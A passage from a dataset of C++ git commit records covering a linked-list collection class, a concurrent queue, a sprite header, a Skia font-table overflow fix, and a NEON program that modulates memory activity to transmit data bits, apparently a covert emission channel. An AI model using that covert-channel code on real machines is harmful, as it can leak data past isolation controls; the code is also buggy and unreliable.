this->NumberOfItems;\n}\n\nvlObject *vlCollection::GetItem(int num)\n{\n int i;\n vlCollectionElement *elem;\n\n if ((num < 1) || (num > this->NumberOfItems))\n {\n vlErrorMacro(<< \": Requesting illegal index\\n\");\n return this->Top->Item;\n }\n\n elem = this->Top;\n for (i = 1; i < num; i++)\n {\n elem = elem->Next;\n }\n \n return (elem->Item);\n}\n\nvoid vlCollection::PrintSelf(ostream& os, vlIndent indent)\n{\n if (this->ShouldIPrint(vlCollection::GetClassName()))\n {\n vlObject::PrintSelf(os,indent);\n \n os << indent << \"Number Of Items: \" << this->NumberOfItems << \"\\n\";\n }\n}\n\n\n\n\n\n\n\n\n<commit_msg>ERR: Fixed bug in return value.<commit_after>\/*=========================================================================\n\n Program: Visualization Library\n Module: Collect.cc\n Language: C++\n Date: $Date$\n Version: $Revision$\n\nThis file is part of the Visualization Library. No part of this file or its\ncontents may be copied, reproduced or altered in any way without the express\nwritten consent of the authors.\n\nCopyright (c) Ken Martin, Will Schroeder, Bill Lorensen 1993, 1994\n\n=========================================================================*\/\n#include <stdlib.h>\n#include <iostream.h>\n#include <math.h>\n\n#include \"Collect.hh\"\n\n\nvlCollection::vlCollection()\n{\n this->NumberOfItems = 0;\n this->Top = NULL;\n this->Bottom = NULL;\n}\n\nvoid vlCollection::AddItem(vlObject *a)\n{\n vlCollectionElement *elem;\n\n elem = new vlCollectionElement;\n \n if (!this->Top)\n {\n this->Top = elem;\n }\n else\n {\n this->Bottom->Next = elem;\n }\n this->Bottom = elem;\n\n elem->Item = a;\n elem->Next = NULL;\n\n this->NumberOfItems++;\n}\n\nvoid vlCollection::RemoveItem(vlObject *a)\n{\n int i;\n vlCollectionElement *elem,*prev;\n \n if (!this->Top) return;\n\n elem = this->Top;\n prev = NULL;\n for (i = 0; i < this->NumberOfItems; i++)\n {\n if (elem->Item == a)\n {\n if (prev)\n\t{\n\tprev->Next = elem->Next;\n\t}\n else\n\t{\n\tthis->Top = elem->Next;\n\t}\n if (!elem->Next)\n\t{\n\tthis->Bottom = prev;\n\t}\n \n delete elem;\n this->NumberOfItems--;\n return;\n }\n else\n {\n prev = elem;\n elem = elem->Next;\n }\n }\n}\n\nint vlCollection::IsItemPresent(vlObject *a)\n{\n int i;\n vlCollectionElement *elem;\n \n if (!this->Top) return 0;\n\n elem = this->Top;\n for (i = 0; i < this->NumberOfItems; i++)\n {\n if (elem->Item == a)\n {\n return i + 1;\n }\n else\n {\n elem = elem->Next;\n }\n }\n\n return 0;\n}\n\n\nint vlCollection::GetNumberOfItems()\n{\n return this->NumberOfItems;\n}\n\nvlObject *vlCollection::GetItem(int num)\n{\n int i;\n vlCollectionElement *elem;\n\n if ((num < 1) || (num > this->NumberOfItems))\n {\n vlErrorMacro(<< \": Requesting illegal index\\n\");\n return this->Top->Item;\n }\n\n elem = this->Top;\n for (i = 1; i < num; i++)\n {\n elem = elem->Next;\n }\n \n return (elem->Item);\n}\n\nvoid vlCollection::PrintSelf(ostream& os, vlIndent indent)\n{\n if (this->ShouldIPrint(vlCollection::GetClassName()))\n {\n vlObject::PrintSelf(os,indent);\n \n os << indent << \"Number Of Items: \" << this->NumberOfItems << \"\\n\";\n }\n}\n\n\n\n\n\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/* \n * File: RotatorMPMCQueue.hpp\n * Author: Barath Kannan\n *\n * Created on 25 September 2016, 12:04 AM\n *\/\n\n#ifndef CONQ_ROTATORMPMCQUEUE_HPP\n#define CONQ_ROTATORMPMCQUEUE_HPP\n\n#include \"CONQ\/MPMCQueue.hpp\"\n#include <thread>\n\nnamespace CONQ{\n\ntemplate <typename T, size_t SUBQUEUES>\nclass RotatorMPMCQueue{\npublic:\n RotatorMPMCQueue(){}\n \n void mpEnqueue(const T& input){\n thread_local static size_t indx{acquireEnqueueIndx()};\n q[indx].mpEnqueue(input);\n }\n \n bool mcDequeue(T& output){\n thread_local static size_t indx{acquireDequeueIndx()};\n for (size_t i=0; i<SUBQUEUES; ++i){\n if (q[(indx+i)%SUBQUEUES].mcDequeue(output)) return true;\n }\n return false;\n }\n \nprivate:\n size_t acquireEnqueueIndx(){\n size_t tmp = enqueueIndx.load(std::memory_order_relaxed);\n while(!enqueueIndx.compare_exchange_weak(tmp, (tmp+1)%SUBQUEUES));\n return tmp;\n }\n \n size_t acquireDequeueIndx(){\n size_t tmp = dequeueIndx.load(std::memory_order_relaxed);\n while(!dequeueIndx.compare_exchange_weak(tmp, (tmp+1)%SUBQUEUES));\n return tmp;\n }\n \n std::atomic<size_t> enqueueIndx{0};\n std::atomic<size_t> dequeueIndx{0};\n std::array<MPMCQueue<T>, SUBQUEUES> q;\n \n RotatorMPMCQueue(const RotatorMPMCQueue&){};\n void operator=(const RotatorMPMCQueue&){};\n};\n\n}\n\n#endif \/* CONQ_ROTATORMPMCQUEUE_HPP *\/\n\n<commit_msg>rotator queue now adapts to hotspots in subqueues<commit_after>\/* \n * File: RotatorMPMCQueue.hpp\n * Author: Barath Kannan\n * Array of unbounded MPMC Queues. Enqueue operations are assigned a subqueue,\n * which is used for all enqueue operations occuring from that thread. The deque\n * operation maintains a list of subqueues on which a \"hit\" has occured - pertaining\n * to the subqueues from which a successful dequeue operation has occured. On a\n * successful dequeue operation, the queue that is used is pushed to the front of the\n * list. The \"hit lists\" allow the queue to adapt fairly well to different usage contexts,\n * including when there are more readers than writers, more writers than readers,\n * and high contention. This queue only performs worse in single-reader single-writer\n * contexts.\n * Created on 25 September 2016, 12:04 AM\n *\/\n\n#ifndef CONQ_ROTATORMPMCQUEUE_HPP\n#define CONQ_ROTATORMPMCQUEUE_HPP\n\n#include \"CONQ\/MPMCQueue.hpp\"\n#include <thread>\n#include <queue>\n\nnamespace CONQ{\n \ntemplate <typename T, size_t SUBQUEUES>\nclass RotatorMPMCQueue{\npublic:\n RotatorMPMCQueue(){\n }\n \n void mpEnqueue(const T& input){\n thread_local static size_t indx{acquireEnqueueIndx()};\n q[indx].mpEnqueue(input);\n }\n \n bool mcDequeue(T& output){\n thread_local static size_t indx{acquireDequeueIndx()};\n thread_local static std::deque<size_t> hitList;\n thread_local static std::deque<size_t> noHitList;\n if (noHitList.empty() && hitList.empty()){\n for (size_t i=0; i<SUBQUEUES; ++i){\n noHitList.push_back((i+indx)%SUBQUEUES);\n }\n }\n for (auto it = hitList.begin(); it != hitList.end(); ++it){\n size_t current = *it;\n if (q[current].mcDequeue(output)){\n if (it != hitList.begin()){\n hitList.erase(it);\n hitList.push_front(current);\n }\n return true;\n }\n }\n for (size_t i=0; i<noHitList.size(); ++i){\n size_t front = noHitList.front();\n if (q[front].mcDequeue(output)){\n hitList.push_back(front);\n noHitList.pop_front();\n return true;\n }\n noHitList.pop_front();\n noHitList.push_back(front);\n }\n return false;\n }\n \nprivate:\n size_t acquireEnqueueIndx(){\n size_t tmp = enqueueIndx.load(std::memory_order_relaxed);\n while(!enqueueIndx.compare_exchange_weak(tmp, (tmp+1)%SUBQUEUES));\n return tmp;\n }\n \n size_t acquireDequeueIndx(){\n size_t tmp = dequeueIndx.load(std::memory_order_relaxed);\n while(!dequeueIndx.compare_exchange_weak(tmp, (tmp+1)%SUBQUEUES));\n return tmp;\n }\n \n std::atomic<size_t> enqueueIndx{0};\n std::atomic<size_t> dequeueIndx{0};\n std::array<MPMCQueue<T>, SUBQUEUES> q;\n \n RotatorMPMCQueue(const RotatorMPMCQueue&){};\n void operator=(const RotatorMPMCQueue&){};\n};\n\n}\n\n#endif \/* CONQ_ROTATORMPMCQUEUE_HPP *\/\n\n<|endoftext|>"} {"text":"<commit_before>#ifndef ENGINE_SPRITENODE_HPP\n#define ENGINE_SPRITENODE_HPP\n\n#include \"Node.hpp\"\n#include \"SFML\/Graphics\/Texture.hpp\"\n#include <functional>\n\nnamespace engine {\n\n\tclass Animation {\n\tprotected:\n\t\tstd::vector<sf::IntRect> m_frames;\n\t\tbool m_looping;\n\t\tfloat m_speed;\n\t\tfloat m_currentTime;\n\t\tsize_t m_currentFrame;\n\tpublic:\n\t\tAnimation();\n\n\t\tvoid SetLooping(bool looping);\n\n\t\tbool IsLooping() const;\n\n\t\tstd::vector<sf::IntRect>& GetFrames();\n\n\t\tvoid SetSpeed(float speed);\n\n\t\tfloat GetSpeed() const;\n\n\t\tvoid AddFrame(const sf::IntRect& frame);\n\n\t\tvoid Reset();\n\n\t\tvoid Update(float delta);\n\n\t\tconst sf::IntRect& GetCurrentTexture();\n\n\t\tbool IsOver();\n\n\t\tstd::function<void(void)> OnOver;\n\t};\n\n\tclass SpriteNode : public Node {\n\tprotected:\n\t\tconst sf::Texture* m_texture;\n\t\tsf::Vertex m_vertices[4];\n\t\tsf::IntRect m_textureRect;\n\t\tstd::map<std::string, Animation*> m_animations;\n\t\tstd::string m_currentAnimation;\n\t\tbool m_animated;\n\t\tstd::string m_animationWhenDone;\n\t\tbool m_vFlipped;\n\tpublic:\n\t\tSpriteNode(Scene* scene);\n\n\t\tvirtual ~SpriteNode();\n\n\t\tvoid SetTexture(std::string path, const sf::IntRect* rect = nullptr);\n\n\t\tvoid SetTexture(sf::Texture* texture, const sf::IntRect* rect = nullptr);\n\n\t\tvirtual bool initialize(Json::Value& root);\n\n\t\tvirtual uint8_t GetType() const;\n\n\t\tvoid PlayAnimation(std::string name, std::string after = \"\");\n\n\t\tAnimation* GetAnimation();\n\n\t\tvirtual void SetFlipped(bool flipped);\n\n\t\tvirtual void SetVFlipped(bool flipped);\n\n\t\tvirtual void SetSize(sf::Vector2f size);\n\n\t\tstd::string GetAnimationName() const {\n\t\t\treturn m_currentAnimation;\n\t\t}\n\n\t\tsf::IntRect& GetTextureRect() {\n\t\t\treturn m_textureRect;\n\t\t}\n\n\t\tbool IsVFlipped() const {\n\t\t\treturn m_vFlipped;\n\t\t}\n\n\t\tvoid SetColor(const sf::Color& color) {\n\t\t\tm_vertices[0].color = color;\n\t\t\tm_vertices[1].color = color;\n\t\t\tm_vertices[2].color = color;\n\t\t\tm_vertices[3].color = color;\n\t\t}\n\n\tprotected:\n\t\tvoid UpdatePosition();\n\n\t\tvoid UpdateTexCoords();\n\n\tprotected:\n\t\tvirtual void OnDraw(sf::RenderTarget& target, sf::RenderStates states, float delta);\n\t};\n}\n#endif\n\n<commit_msg>Add Animation::GetCurrentFrame<commit_after>#ifndef ENGINE_SPRITENODE_HPP\n#define ENGINE_SPRITENODE_HPP\n\n#include \"Node.hpp\"\n#include \"SFML\/Graphics\/Texture.hpp\"\n#include <functional>\n\nnamespace engine {\n\n\tclass Animation {\n\tprotected:\n\t\tstd::vector<sf::IntRect> m_frames;\n\t\tbool m_looping;\n\t\tfloat m_speed;\n\t\tfloat m_currentTime;\n\t\tsize_t m_currentFrame;\n\tpublic:\n\t\tAnimation();\n\n\t\tvoid SetLooping(bool looping);\n\n\t\tbool IsLooping() const;\n\n\t\tstd::vector<sf::IntRect>& GetFrames();\n\n\t\tvoid SetSpeed(float speed);\n\n\t\tfloat GetSpeed() const;\n\n\t\tvoid AddFrame(const sf::IntRect& frame);\n\n\t\tvoid Reset();\n\n\t\tvoid Update(float delta);\n\n\t\tconst sf::IntRect& GetCurrentTexture();\n\n\t\tbool IsOver();\n\n\t\tstd::function<void(void)> OnOver;\n\n\t\tsize_t GetCurrentFrame() {\n\t\t\treturn m_currentFrame;\n\t\t}\n\t};\n\n\tclass SpriteNode : public Node {\n\tprotected:\n\t\tconst sf::Texture* m_texture;\n\t\tsf::Vertex m_vertices[4];\n\t\tsf::IntRect m_textureRect;\n\t\tstd::map<std::string, Animation*> m_animations;\n\t\tstd::string m_currentAnimation;\n\t\tbool m_animated;\n\t\tstd::string m_animationWhenDone;\n\t\tbool m_vFlipped;\n\tpublic:\n\t\tSpriteNode(Scene* scene);\n\n\t\tvirtual ~SpriteNode();\n\n\t\tvoid SetTexture(std::string path, const sf::IntRect* rect = nullptr);\n\n\t\tvoid SetTexture(sf::Texture* texture, const sf::IntRect* rect = nullptr);\n\n\t\tvirtual bool initialize(Json::Value& root);\n\n\t\tvirtual uint8_t GetType() const;\n\n\t\tvoid PlayAnimation(std::string name, std::string after = \"\");\n\n\t\tAnimation* GetAnimation();\n\n\t\tvirtual void SetFlipped(bool flipped);\n\n\t\tvirtual void SetVFlipped(bool flipped);\n\n\t\tvirtual void SetSize(sf::Vector2f size);\n\n\t\tstd::string GetAnimationName() const {\n\t\t\treturn m_currentAnimation;\n\t\t}\n\n\t\tsf::IntRect& GetTextureRect() {\n\t\t\treturn m_textureRect;\n\t\t}\n\n\t\tbool IsVFlipped() const {\n\t\t\treturn m_vFlipped;\n\t\t}\n\n\t\tvoid SetColor(const sf::Color& color) {\n\t\t\tm_vertices[0].color = color;\n\t\t\tm_vertices[1].color = color;\n\t\t\tm_vertices[2].color = color;\n\t\t\tm_vertices[3].color = color;\n\t\t}\n\n\tprotected:\n\t\tvoid UpdatePosition();\n\n\t\tvoid UpdateTexCoords();\n\n\tprotected:\n\t\tvirtual void OnDraw(sf::RenderTarget& target, sf::RenderStates states, float delta);\n\t};\n}\n#endif\n\n<|endoftext|>"} {"text":"<commit_before>#include \"SkEndian.h\"\n#include \"SkFontHost.h\"\n#include \"SkStream.h\"\n\nstruct SkSFNTHeader {\n uint32_t fVersion;\n uint16_t fNumTables;\n uint16_t fSearchRange;\n uint16_t fEntrySelector;\n uint16_t fRangeShift;\n};\n\nstruct SkTTCFHeader {\n uint32_t fTag;\n uint32_t fVersion;\n uint32_t fNumOffsets;\n uint32_t fOffset0; \/\/ the first of N (fNumOffsets)\n};\n\nunion SkSharedTTHeader {\n SkSFNTHeader fSingle;\n SkTTCFHeader fCollection;\n};\n\nstruct SkSFNTDirEntry {\n uint32_t fTag;\n uint32_t fChecksum;\n uint32_t fOffset;\n uint32_t fLength;\n};\n\nstatic int count_tables(SkStream* stream, size_t* offsetToDir = NULL) {\n SkSharedTTHeader shared;\n if (stream->read(&shared, sizeof(shared)) != sizeof(shared)) {\n return 0;\n }\n\n uint32_t tag = SkEndian_SwapBE32(shared.fCollection.fTag);\n if (SkSetFourByteTag('t', 't', 'c', 'f') == tag) {\n if (shared.fCollection.fNumOffsets == 0) {\n return 0;\n }\n size_t offset = SkEndian_SwapBE32(shared.fCollection.fOffset0);\n stream->rewind();\n if (stream->skip(offset) != offset) {\n return 0;\n }\n if (stream->read(&shared, sizeof(shared)) != sizeof(shared)) {\n return 0;\n }\n if (offsetToDir) {\n *offsetToDir = offset;\n }\n }\n return SkEndian_SwapBE16(shared.fSingle.fNumTables);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstruct SfntHeader {\n SfntHeader() : fCount(0), fDir(NULL) {}\n ~SfntHeader() { sk_free(fDir); }\n \n bool init(SkStream* stream) {\n size_t offsetToDir;\n fCount = count_tables(stream, &offsetToDir);\n if (0 == fCount) {\n return false;\n }\n\n stream->rewind();\n if (stream->skip(offsetToDir) != offsetToDir) {\n return false;\n }\n\n size_t size = fCount * sizeof(SkSFNTDirEntry);\n fDir = reinterpret_cast<SkSFNTDirEntry*>(sk_malloc_throw(size));\n return stream->read(fDir, size) == size;\n }\n \n int fCount;\n SkSFNTDirEntry* fDir;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint SkFontHost::CountTables(SkFontID fontID) {\n SkStream* stream = SkFontHost::OpenStream(fontID);\n if (NULL == stream) {\n return 0;\n }\n\n SkAutoUnref au(stream);\n return count_tables(stream);\n}\n\nint SkFontHost::GetTableTags(SkFontID fontID, SkFontTableTag tags[]) {\n SkStream* stream = SkFontHost::OpenStream(fontID);\n if (NULL == stream) {\n return 0;\n }\n \n SkAutoUnref au(stream);\n SfntHeader header;\n if (!header.init(stream)) {\n return 0;\n }\n \n for (int i = 0; i < header.fCount; i++) {\n tags[i] = SkEndian_SwapBE32(header.fDir[i].fTag);\n }\n return header.fCount;\n}\n\nsize_t SkFontHost::GetTableSize(SkFontID fontID, SkFontTableTag tag) {\n SkStream* stream = SkFontHost::OpenStream(fontID);\n if (NULL == stream) {\n return 0;\n }\n \n SkAutoUnref au(stream);\n SfntHeader header;\n if (!header.init(stream)) {\n return 0;\n }\n\n for (int i = 0; i < header.fCount; i++) {\n if (SkEndian_SwapBE32(header.fDir[i].fTag) == tag) {\n return SkEndian_SwapBE32(header.fDir[i].fLength);\n }\n }\n return 0;\n}\n\nsize_t SkFontHost::GetTableData(SkFontID fontID, SkFontTableTag tag,\n size_t offset, size_t length, void* data) {\n SkStream* stream = SkFontHost::OpenStream(fontID);\n if (NULL == stream) {\n return 0;\n }\n \n SkAutoUnref au(stream);\n SfntHeader header;\n if (!header.init(stream)) {\n return 0;\n }\n\n for (int i = 0; i < header.fCount; i++) {\n if (SkEndian_SwapBE32(header.fDir[i].fTag) == tag) {\n size_t realOffset = SkEndian_SwapBE32(header.fDir[i].fOffset);\n size_t realLength = SkEndian_SwapBE32(header.fDir[i].fLength);\n \/\/ now sanity check the caller's offset\/length\n if (offset >= realLength) {\n return 0;\n }\n if (offset + length > realLength) {\n length = realLength - offset;\n }\n \/\/ skip the stream to the part of the table we want to copy from\n stream->rewind();\n size_t bytesToSkip = realOffset + offset;\n if (stream->skip(bytesToSkip) != bytesToSkip) {\n return 0;\n }\n if (stream->read(data, length) != length) {\n return 0;\n }\n return length;\n }\n }\n return 0;\n}\n\n<commit_msg>SkFontHost_tables: fix minor bugs<commit_after>#include \"SkEndian.h\"\n#include \"SkFontHost.h\"\n#include \"SkStream.h\"\n\nstruct SkSFNTHeader {\n uint32_t fVersion;\n uint16_t fNumTables;\n uint16_t fSearchRange;\n uint16_t fEntrySelector;\n uint16_t fRangeShift;\n};\n\nstruct SkTTCFHeader {\n uint32_t fTag;\n uint32_t fVersion;\n uint32_t fNumOffsets;\n uint32_t fOffset0; \/\/ the first of N (fNumOffsets)\n};\n\nunion SkSharedTTHeader {\n SkSFNTHeader fSingle;\n SkTTCFHeader fCollection;\n};\n\nstruct SkSFNTDirEntry {\n uint32_t fTag;\n uint32_t fChecksum;\n uint32_t fOffset;\n uint32_t fLength;\n};\n\nstatic int count_tables(SkStream* stream, size_t* offsetToDir = NULL) {\n SkSharedTTHeader shared;\n if (stream->read(&shared, sizeof(shared)) != sizeof(shared)) {\n return 0;\n }\n\n uint32_t tag = SkEndian_SwapBE32(shared.fCollection.fTag);\n if (SkSetFourByteTag('t', 't', 'c', 'f') == tag) {\n if (shared.fCollection.fNumOffsets == 0) {\n return 0;\n }\n size_t offset = SkEndian_SwapBE32(shared.fCollection.fOffset0);\n stream->rewind();\n if (stream->skip(offset) != offset) {\n return 0;\n }\n if (stream->read(&shared, sizeof(shared)) != sizeof(shared)) {\n return 0;\n }\n if (offsetToDir) {\n *offsetToDir = offset;\n }\n } else {\n *offsetToDir = 0;\n }\n\n return SkEndian_SwapBE16(shared.fSingle.fNumTables);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstruct SfntHeader {\n SfntHeader() : fCount(0), fDir(NULL) {}\n ~SfntHeader() { sk_free(fDir); }\n\n bool init(SkStream* stream) {\n size_t offsetToDir;\n fCount = count_tables(stream, &offsetToDir);\n if (0 == fCount) {\n return false;\n }\n\n stream->rewind();\n const size_t tableRecordOffset = offsetToDir + sizeof(SkSFNTHeader);\n if (stream->skip(tableRecordOffset) != tableRecordOffset) {\n return false;\n }\n\n size_t size = fCount * sizeof(SkSFNTDirEntry);\n fDir = reinterpret_cast<SkSFNTDirEntry*>(sk_malloc_throw(size));\n return stream->read(fDir, size) == size;\n }\n\n int fCount;\n SkSFNTDirEntry* fDir;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint SkFontHost::CountTables(SkFontID fontID) {\n SkStream* stream = SkFontHost::OpenStream(fontID);\n if (NULL == stream) {\n return 0;\n }\n\n SkAutoUnref au(stream);\n return count_tables(stream);\n}\n\nint SkFontHost::GetTableTags(SkFontID fontID, SkFontTableTag tags[]) {\n SkStream* stream = SkFontHost::OpenStream(fontID);\n if (NULL == stream) {\n return 0;\n }\n\n SkAutoUnref au(stream);\n SfntHeader header;\n if (!header.init(stream)) {\n return 0;\n }\n\n for (int i = 0; i < header.fCount; i++) {\n tags[i] = SkEndian_SwapBE32(header.fDir[i].fTag);\n }\n return header.fCount;\n}\n\nsize_t SkFontHost::GetTableSize(SkFontID fontID, SkFontTableTag tag) {\n SkStream* stream = SkFontHost::OpenStream(fontID);\n if (NULL == stream) {\n return 0;\n }\n\n SkAutoUnref au(stream);\n SfntHeader header;\n if (!header.init(stream)) {\n return 0;\n }\n\n for (int i = 0; i < header.fCount; i++) {\n if (SkEndian_SwapBE32(header.fDir[i].fTag) == tag) {\n return SkEndian_SwapBE32(header.fDir[i].fLength);\n }\n }\n return 0;\n}\n\nsize_t SkFontHost::GetTableData(SkFontID fontID, SkFontTableTag tag,\n size_t offset, size_t length, void* data) {\n SkStream* stream = SkFontHost::OpenStream(fontID);\n if (NULL == stream) {\n return 0;\n }\n\n SkAutoUnref au(stream);\n SfntHeader header;\n if (!header.init(stream)) {\n return 0;\n }\n\n for (int i = 0; i < header.fCount; i++) {\n if (SkEndian_SwapBE32(header.fDir[i].fTag) == tag) {\n size_t realOffset = SkEndian_SwapBE32(header.fDir[i].fOffset);\n size_t realLength = SkEndian_SwapBE32(header.fDir[i].fLength);\n \/\/ now sanity check the caller's offset\/length\n if (offset >= realLength) {\n return 0;\n }\n \/\/ if the caller is trusting the length from the file, then a\n \/\/ hostile file might choose a value which would overflow offset +\n \/\/ length.\n if (offset + length < offset) {\n return 0;\n }\n if (offset + length > realLength) {\n length = realLength - offset;\n }\n \/\/ skip the stream to the part of the table we want to copy from\n stream->rewind();\n size_t bytesToSkip = realOffset + offset;\n if (stream->skip(bytesToSkip) != bytesToSkip) {\n return 0;\n }\n if (stream->read(data, length) != length) {\n return 0;\n }\n return length;\n }\n }\n return 0;\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <iomanip>\n#include <chrono>\n#include <arm_neon.h>\n#include <stdlib.h>\n#include <inttypes.h>\n#include <thread>\n#include <mutex>\n#include <condition_variable>\n#include <signal.h>\n\nstd::mutex m ;\nstd::condition_variable cv ;\nstd::chrono::high_resolution_clock::time_point mid ;\nstd::chrono::high_resolution_clock::time_point reset ;\n\nint32x4_t va;\nstd::int32_t a ;\nstd::int32_t * ptr;\nstd::int32_t n = 2500;\nstd::int64_t size = sizeof(a)*n;\nstd::int32_t limit = n-4;\nstd::int32_t data_bit[] = {1, 0, 0, 1};\n\nvoid inline sig_handler(int sign) {\n free(ptr);\n std::cout << \"\\nReceived signal. aborting.\" << std::endl ;\n exit(-1);\n}\n\nvoid inline boost_song() {\n using namespace std::chrono ;\n\n int i{0} ;\n while( true ) {\n std::unique_lock<std::mutex> lk{m} ;\n cv.wait( lk ) ;\n\n while( high_resolution_clock::now() < end ) {\n int32_t var[4] = { *(ptr + i), *(ptr + i + 2), *(ptr + i + 3), *(ptr + i + 4) };\n va = vld1q_s32(var);\n i++;\n if(i==limit) i=0;\n }\n \n std::this_thread::sleep_until( reset ) ;\n }\n}\n\nint init_memory(void) {\n ptr = (int32_t *)malloc(size);\n if( ptr == NULL ){\n std::cout << \"Malloc Error\" << std::endl;\n return -1;\n }\n for(int i=0; i<=n; i++){\n ptr[i] = i;\n }\n return 0;\n}\n\nvoid square_am_signal(float time) {\n using namespace std::chrono ;\n\n seconds const sec{1} ;\n nanoseconds const nsec{ sec } ;\n using rep = nanoseconds::rep ;\n auto nsec_per_sec = nsec.count() ;\n\n auto start = high_resolution_clock::now() ;\n auto const end = start + nanoseconds( static_cast<rep>(0.1 * nsec_per_sec) ) ;\n\n while (high_resolution_clock::now() < end) {\n cv.notify_all() ;\n std::this_thread::sleep_until( end ) ;\n start = reset;\n }\n}\n\nint main(){\n signal(SIGINT, sig_handler);\n\n init_memory();\n for ( unsigned i = 0 ; i < std::thread::hardware_concurrency() ; ++i ) {\n std::thread t( boost_song ) ;\n t.detach() ;\n }\n square_am_signal(0.05);\n free(ptr);\n return 0;\n}\n<commit_msg>add send_data func<commit_after>#include <iostream>\n#include <iomanip>\n#include <chrono>\n#include <arm_neon.h>\n#include <stdlib.h>\n#include <inttypes.h>\n#include <thread>\n#include <mutex>\n#include <condition_variable>\n#include <signal.h>\n\nstd::mutex m ;\nstd::condition_variable cv ;\nstd::chrono::high_resolution_clock::time_point mid ;\nstd::chrono::high_resolution_clock::time_point reset ;\n\nint32x4_t va;\nstd::int32_t a ;\nstd::int32_t * ptr;\nstd::int32_t n = 2500;\nstd::int64_t size = sizeof(a)*n;\nstd::int32_t limit = n-4;\nstd::int32_t data_bit[] = {1, 0, 0, 1};\n\nvoid inline sig_handler(int sign) {\n free(ptr);\n std::cout << \"\\nReceived signal. aborting.\" << std::endl ;\n exit(-1);\n}\n\nvoid inline boost_song() {\n using namespace std::chrono ;\n\n int i{0} ;\n while( true ) {\n std::unique_lock<std::mutex> lk{m} ;\n cv.wait( lk ) ;\n\n while( high_resolution_clock::now() < end ) {\n int32_t var[4] = { *(ptr + i), *(ptr + i + 2), *(ptr + i + 3), *(ptr + i + 4) };\n va = vld1q_s32(var);\n i++;\n if(i==limit) i=0;\n }\n \n std::this_thread::sleep_until( reset ) ;\n }\n}\n\nint init_memory(void) {\n ptr = (int32_t *)malloc(size);\n if( ptr == NULL ){\n std::cout << \"Malloc Error\" << std::endl;\n return -1;\n }\n for(int i=0; i<=n; i++){\n ptr[i] = i;\n }\n return 0;\n}\n\nvoid send_data(float time) {\n using namespace std::chrono ;\n\n seconds const sec{1} ;\n nanoseconds const nsec{ sec } ;\n using rep = nanoseconds::rep ;\n auto nsec_per_sec = nsec.count() ;\n\n for(int32_t d : data_bit){\n auto start = high_resolution_clock::now() ;\n auto const end = start + nanoseconds( static_cast<rep>(time * nsec_per_sec) ) ;\n if( d == 1 ){\n std::cout << \"Detected 1 bit\" << std::endl;\n while (high_resolution_clock::now() < end) {\n cv.notify_all() ;\n std::this_thread::sleep_until( end ) ;\n start = reset;\n }\n }\n else{\n std::this_thread::sleep_until( end ) ;\n }\n }\n}\n\nint main(){\n signal(SIGINT, sig_handler);\n\n init_memory();\n for ( unsigned i = 0 ; i < std::thread::hardware_concurrency() ; ++i ) {\n std::thread t( boost_song ) ;\n t.detach() ;\n }\n send_data(0.05);\n free(ptr);\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"DSVSCA.h\"\n\nint DSVSCA::process_filter_graph(process_info info) {\n AVPacket packet, packet0;\n AVFrame *frame = av_frame_alloc();\n AVFrame *filt_frame = av_frame_alloc();\n AVFrame *comb_virt_frame = av_frame_alloc();\n int got_frame;\n\n std::unordered_map<Filter::Channel, Virtualizer*, std::hash<int>> c2v_;\n complete_sofa sofa_;\n\n AVPacket packet_out;\n AVPacket comb_packet_out;\n int got_output;\n\n Encoder *encoder = new Encoder(AV_CODEC_ID_AC3,\n info.format->decoder_ctx->bit_rate, AV_SAMPLE_FMT_FLTP);\n\n SJoin *sjoin = new SJoin(encoder);\n \n long total_duration = info.format->format_ctx->duration \/ (long)AV_TIME_BASE;\n uint64_t total_sample_count = 0;\n uint64_t samples_completed = 0;\n\n int ret = 0;\n\n AVOutputFormat *ofmt = NULL;\n AVFormatContext *ofmt_ctx = NULL;\n\n size_t index_of_ext = info.video_file_name.find_last_of('.');\n std::string out_filename_str;\n if (index_of_ext == std::string::npos) out_filename_str = info.video_file_name + \"-virtualized\";\n else out_filename_str = info.video_file_name.substr(0, index_of_ext) + \"-virtualized\" + info.video_file_name.substr(index_of_ext);\n const char *out_filename = out_filename_str.c_str();\n\n avformat_alloc_output_context2(&ofmt_ctx, NULL, NULL, out_filename);\n if(!ofmt_ctx) {\n av_log(NULL, AV_LOG_ERROR, \"Could not create output context!\\n\");\n exit(1);\n }\n\n ofmt = ofmt_ctx->oformat;\n\n for(int i = 0; i < info.format->format_ctx->nb_streams; i++) {\n AVStream *in_stream = info.format->format_ctx->streams[i];\n AVStream *out_stream = avformat_new_stream(ofmt_ctx, in_stream->codec->codec);\n if(!out_stream) {\n av_log(NULL, AV_LOG_ERROR, \"Failed to allocate output stream!\\n\");\n exit(1);\n }\n \n ret = avcodec_copy_context(out_stream->codec, in_stream->codec);\n out_stream->codec->codec_tag = 0;\n if(ret < 0) {\n av_log(NULL, AV_LOG_ERROR, \"Failed to copy context from input to output stream codec context\\n\");\n exit(1);\n }\n \n if(ofmt_ctx->oformat->flags & AVFMT_GLOBALHEADER)\n out_stream->codec->flags |= CODEC_FLAG_GLOBAL_HEADER;\n }\n\n av_dump_format(ofmt_ctx, 0, out_filename, 1);\n \n if(!(ofmt->flags & 